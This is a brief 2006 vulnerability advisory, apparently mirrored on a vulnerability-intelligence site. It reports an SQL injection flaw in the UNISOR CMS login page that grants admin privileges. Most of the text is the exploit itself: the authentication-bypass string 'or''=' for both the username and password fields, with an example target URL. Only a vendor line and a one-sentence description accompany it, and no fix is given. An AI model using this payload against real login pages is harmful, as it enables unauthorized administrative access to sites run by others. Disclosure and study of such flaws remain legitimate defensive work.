UNISOR CMS SQL injection issue on login page allowing admin privilege
`***********************
* Tunis the 26/10/2006*
* bug found by fireboy*
***********************
product:UNISOR CMS
vendor:www.unisor.nl
there is an sql injection problem in UNISOR CMS login page and it can be exploited to gain admin privileges.
exploit:
user: 'or''='
pass: 'or''='
example:http://www.target.com/unisor/login.asp
thx
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contactย us for a demo andย discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo